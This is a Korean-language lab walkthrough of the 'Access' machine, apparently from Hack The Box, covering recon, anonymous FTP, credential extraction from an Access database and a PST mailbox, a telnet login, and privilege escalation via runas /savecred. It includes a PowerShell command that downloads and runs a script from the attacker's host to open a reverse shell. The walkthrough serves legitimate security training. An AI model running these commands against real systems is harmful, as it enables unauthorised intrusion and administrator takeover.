Access

1. Recon

1.1. nmap

포트 스캔 결과 21, 23, 80번 포트가 개방돼 있다. 특이하게 23번 포트가 개방된 점을 주목할 필요가 있다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# nmap -sCV 10.129.55.63 --max-retries 1 --min-rate 5000 -p- 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-06 14:49 +04
Nmap scan report for 10.129.55.63
Host is up (0.19s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anony mous FTP login allowed (FTP code 230)
|_Cant get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst: 
|_  SYST: Windows_NT
23/tcp open  telnet  Microsoft Windows XP telnetd
| telnet-ntlm-info: 
|   Target_Name: ACCESS
|   NetBIOS_Domain_Name: ACCESS
|   NetBIOS_Computer_Name: ACCESS
|   DNS_Domain_Name: ACCESS
|   DNS_Computer_Name: ACCESS
|_  Product_Version: 6.1.7600
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: MegaCorp
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: -39s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.48 seconds

1.2. ftp anonymous

nmap 스캔 당시 ftp 로 anonymous 계정에 대한 로그인이 된다고 나와 있다. 해당 계정으로 로그인 한다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# ftp 10.129.55.63 
Connected to 10.129.55.63.
220 Microsoft FTP Service
Name (10.129.55.63:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> 

데이터를 살펴보면 Backups 폴더와 Engineer 폴더 두 개가 있고, 내부에 각각 backup.mdb 파일과 AccessControl.zip 파일이 존재한다.

아래는 backuup.mdb 를 다운받는 과정이다.

ftp> ls
425 Cannot open data connection.
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  08:16PM       <DIR>          Backups
08-24-18  09:00PM       <DIR>          Engineer
226 Transfer complete.
ftp> cd Backups
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  08:16PM              5652480 backup.mdb
226 Transfer complete.
ftp> get backup.mdb
local: backup.mdb remote: backup.mdb
200 PORT command successful.
125 Data connection already open; Transfer starting.
  2% |                                                |   164 KiB  164.74 KiB/s    00:32 ETAftp: Reading from network: Interrupted system call
  0% |                                                |    -1        0.00 KiB/s    --:-- ETA
550 The specified network name is no longer available. 
WARNING! 68 bare linefeeds received in ASCII mode.
File may not have transferred correctly.

아래는 Access Control.zip 를 다운받는 과정이다.

ftp> cd ..
250 CWD command successful.
ftp> cd Engineer
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18  12:16AM                10870 Access Control.zip
226 Transfer complete.
ftp> get "Access Control.zip"
local: Access Control.zip remote: Access Control.zip
200 PORT command successful.
125 Data connection already open; Transfer starting.
100% |************************************************| 10870       19.47 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 45 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
10870 bytes received in 00:00 (19.44 KiB/s)
ftp> 

1.2.1. backup.mdb

해당 파일이 뭐하는 파일인지 몰라서 단순 cat 만을 이용해서 열었는데 특별한 소스는 찾을 수 없었다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# cat backup.mdb      
Standard Jet DB�nb`     �U��gr@?�~�����1�y��0��c��ßF���N&d�7��f�(��)�`�
                                                                       {6U��kCo0�3��y[2*|*�|��s��Hbʃf_��Љ$�g�D���e���F�x
                                                                                                                         ��-b�T4.0��Kpc���������������������������������������������������������������������������������������
                                 ▒Y�S
                                     ��
                                       Y
                                                        Y      Y
Y      Y        ▒
[...SNIP...]

1.2.2. Access Control.zip

해당 파일을 unzip 으로 열어 보려니까 되지 않았다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# unzip Access\ Control.zip                     
Archive:  Access Control.zip
   skipping: Access Control.pst      unsupported compression method 99

7z 로 시도했을 때는 되기는 하는데 비밀번호를 요구해서 열지를 못했다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# 7z x Access\ Control.zip

7-Zip 24.09 (arm64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit arm_v:8-A locale=en_US.UTF-8 Threads:4 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)

Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870

    
Enter password (will not be echoed):
ERROR: Wrong password : Access Control.pst
                         
Sub items Errors: 1

Archives with Errors: 1

Sub items Errors: 1

1.2.3. mdbtools

먼저 mdb 파일을 분석하기 위해 mdbtools 라는 것을 다운받았다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# apt install mdbtools
Installing:                     
  mdbtools
                                                                                                                                                                                             
Installing dependencies:
  libmdb3t64  libmdbsql3t64
                                                                                                                                                                                             
Summary:
  Upgrading: 0, Installing: 3, Removing: 0, Not Upgrading: 1560
  Download size: 132 kB
  Space needed: 1,224 kB / 23.9 GB available

Continue? [Y/n] Y
Get:1 http://mirror.ourhost.az/kali kali-rolling/main arm64 libmdb3t64 arm64 1.0.1-0.1 [65.1 kB]
Get:2 http://mirror.ourhost.az/kali kali-rolling/main arm64 libmdbsql3t64 arm64 1.0.1-0.1 [17.2 kB]
Get:3 http://mirror.ourhost.az/kali kali-rolling/main arm64 mdbtools arm64 1.0.1-0.1 [49.4 kB]
Fetched 132 kB in 2s (67.2 kB/s)   
Selecting previously unselected package libmdb3t64:arm64.
(Reading database ... 431954 files and directories currently installed.)
Preparing to unpack .../libmdb3t64_1.0.1-0.1_arm64.deb ...
Unpacking libmdb3t64:arm64 (1.0.1-0.1) ...
Selecting previously unselected package libmdbsql3t64:arm64.
Preparing to unpack .../libmdbsql3t64_1.0.1-0.1_arm64.deb ...
Unpacking libmdbsql3t64:arm64 (1.0.1-0.1) ...
Selecting previously unselected package mdbtools.
Preparing to unpack .../mdbtools_1.0.1-0.1_arm64.deb ...
Unpacking mdbtools (1.0.1-0.1) ...
Setting up libmdb3t64:arm64 (1.0.1-0.1) ...
Setting up libmdbsql3t64:arm64 (1.0.1-0.1) ...
Setting up mdbtools (1.0.1-0.1) ...
Processing triggers for libc-bin (2.41-6) ...
Processing triggers for man-db (2.13.1-1) ...
Processing triggers for kali-menu (2025.2.7) ...

그 다음에 mdb 와 관련된 것들을 확인해본 결과는 아래와 같다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# mdb-
Completing external command
mdb-array     mdb-export    mdb-hexdump   mdb-json      mdb-prop      mdb-schema    mdb-tables                                                                            
mdb-count     mdb-header    mdb-import    mdb-parsecsv  mdb-queries   mdb-sql       mdb-ver                                                                               

1.3. mdb 파일 에러

하지만 mdb-tables 를 통해서 확인해보려고 하니까 뭐가 잘 안 된다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# mdb-tables backup.mdb 

offset 7585302654976 is beyond EOF
Unable to bind columns from table MSysObjects (17 columns found)
File does not appear to be an Access database

파일을 확인해보니 mdb 가 정상적으로 작동해야 하는 파일은 맞다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# file backup.mdb 
backup.mdb: Microsoft Access Database

위에서 다시 ftp 로 다운받은 거를 확인해 보니 WARNING! 45 bare linefeeds received in ASCII mode. 라는 문구가 눈에 들어온다. 그냥 다운 받으면서 문제가 생긴 거 같다.

1.4. ftp 설정 변경 후 재 다운로드

그래서 ftp 로 다운 받을 때 모드를 binary 로 바꾼다. 그러고 명령어를 입력하면 이번에는 정상적으로 ftp 서비스가 돌아가지 않는 거를 볼 수 있다.

ftp> binary
200 Type set to I.
ftp> ls
229 Entering Extended Passive Mode (|||49157|)

^C
receive aborted. Waiting for remote to finish abort.
ftp> 

모드를 passive 모드로 변경하면 다시 ftp 가 정상적으로 작동하는 것을 확인할 수 있다. 그리고 다운로드도 정상적으로 되는 모습을 확인할 수 있다.

ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> get backup.mdb
local: backup.mdb remote: backup.mdb
200 EPRT command successful.
125 Data connection already open; Transfer starting.
100% |****************************************************************************************************************|  5520 KiB  285.87 KiB/s    00:00 ETA

1.5. mdbtools 를 이용한 데이터 추출

정상적인 backup.mdb 파일을 mdb-tables 로 분석하면 아래와 같이 테이블 정보를 출력할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# mdb-tables backup.mdb 
acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx 

그 중에서 auth_user 테이블에 대해서 데이터를 mdb-export 로 추출하면 계정 정보를 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# mdb-export backup.mdb auth_user

id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

다음으로는 Access Control.zip 을 해제한다. 해당 파일은 engineer 디렉토리에서 가져왔고, 우리는 engineer 계정에 대한 비밀번호인 access4u@security 를 획득했으므로 압축 해제 시 요구하는 비밀번호를 다음과 같이 대입한다. 그리고 압축이 해제되는 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# 7z x Access\ Control.zip 

7-Zip 24.09 (arm64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit arm_v:8-A locale=en_US.UTF-8 Threads:4 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)

Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870

    
Would you like to replace the existing file:
  Path:     ./Access Control.pst
  Size:     0 bytes
  Modified: 2018-08-24 04:13:52
with the file from archive:
  Path:     Access Control.pst
  Size:     271360 bytes (265 KiB)
  Modified: 2018-08-24 04:13:52
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? Y

                         
Enter password (will not be echoed):
Everything is Ok

Size:       271360
Compressed: 10870

1.6. mail 확인

압축이 해제되면 Access Control.pst 라는 파일이 나온다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# ll
total 5800
-rw-r--r-- 1 root root  271360 Aug 24  2018 'Access Control.pst'
-rw-r--r-- 1 root root   10870 Aug 24  2018 'Access Control.zip'
-rw-r--r-- 1 root root 5652480 Aug 24  2018  backup.mdb

해당 파일은 Microsoft Outlook Personal Storage 의 파일이다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# file Access\ Control.pst 
Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e

이 파일은 readpst 라는 프로그램에 의해서 읽을 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# readpst Access\ Control.pst 
Opening PST file and indexes...
Processing Folder "Deleted Items"
        "Access Control" - 2 items done, 0 items skipped.

readpst 로 해당 파일을 읽으면 메일 박스인 Access Control.mbox 파일이 생성되는 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# ll
total 5804
-rw-r--r-- 1 root root    3112 Jan  6 17:23 'Access Control.mbox'
-rw-r--r-- 1 root root  271360 Aug 24  2018 'Access Control.pst'
-rw-r--r-- 1 root root   10870 Aug 24  2018 'Access Control.zip'
-rw-r--r-- 1 root root 5652480 Aug 24  2018  backup.mdb

file 명령어로 해당 파일을 확인해 보면 아래와 같은 내용을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# file Access\ Control.mbox 
Access Control.mbox: Mailbox text, 1st line "From "john@megacorp.com" Fri Aug 24 03:44:07 2018"

mutt 를 통해서 mbox 파일을 열었을 때는 아래와 같다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# mutt -Rf Access\ Control.mbox

메일을 열어보면 security 계정에 대해서 비밀번호가 아래와 같이 변경된 점을 확인할 수 있다.

1.7. telnet 접속

앞서 nmap 을 통해서 telnet 서비스를 제공하는 것을 확인할 수 있었다.

┌──(root㉿kali)-[/home/kali/labs/Access]
└─# telnet 10.129.55.63 
Trying 10.129.55.63...
Connected to 10.129.55.63.
Escape character is '^]'.
Welcome to Microsoft Telnet Service 

login: security
password: 

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>whoami
access\security

그리고 user.txt 파일을 확인할 수 있다.

C:\Users\security>type C:\Users\security\Desktop\user.txt
The system cannot find the file specified.
Error occurred while processing: C:\Users\security\Desktop\user.tttype.

C:\Users\security\Desktop\user.txt

2. 권한 상승

2.1. ZKAccess3.5 Security System.lnk 분석

lnk 파일을 확인했을 때 흥미로운 내용이 관찰됐다. \Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred … 의 부분인데 여기서 savecred 에 대해서 주목할 필요가 있다.

runas 는 특정 계정으로 사용하고 있지는 않지만 내가 지정하는 계정의 권한으로 어떤 프로그램을 실행시키는 프로그램인데, /savecred 명령을 사용하면 시스템 내부에 비밀번호를 암호화 해서 저장을 해 두고, 나중에 다시 호출 시 비밀번호를 요구하지 않고 저장된 암호를 꺼내와서 사용한다.

본 예시에서 보면 administrator 계정에 대해서 /savecred 를 이용한 흔적이 있다. 즉, runas 를 실행시키면 자동으로 administrator 계정으로 돌아갈 것을 예측할 수 있다.

c:\Users\Public\Desktop>type "ZKAccess3.5 Security System.lnk"
L�F�@ ��7���7���#�P/P�O� �:i�+00�/C:\R1M�:Windows���:�▒M�:*wWindowsV1MV�System32���:�▒MV�*�System32▒X2P�:�
                                                                                                           runas.exe���:1��:1�*Yrunas.exe▒L-K��E�C:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"'C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%�
                                                                     �wN�▒�]N�D.��Q���`�Xaccess�_���8{E�3
                                                                                                         O�j)�H���
                                                                                                                  )ΰ[�_���8{E�3
                                                                                                                               O�j)�H���
                                                                                                                                        )ΰ[�    ��1SPS��XF�L8C���&�m�e*S-1-5-21-953262931-566350628-63446256-500

2.2. 리버스 쉘 맺기

그렇다면 리버스 쉘을 runas 를 통해 administrator 로 실행시키면 별도의 비밀번호는 묻지 않을 거고, 리버스 쉘은 administrator 계정의 권한으로 실행될 거니 root.txt 를 획득할 수 있을 것이다. 본 실습에서는 nishang 의 리버스 쉘을 사용했고, 해당 사용법은 Remote 문제 풀이에서 다루고 있다.

c:\Users\Public\Desktop>runas /user:ACCESS\Administrator /savecred "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.143/shell.ps1')"

정상적으로 리버스 쉘이 맺어진 모습은 다음과 같다.

┌──(root㉿kali)-[/home/kali]
└─# rlwrap -cAr nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.55.63] 49158
Windows PowerShell running as user Administrator on ACCESS
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
access\administrator
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
Updated on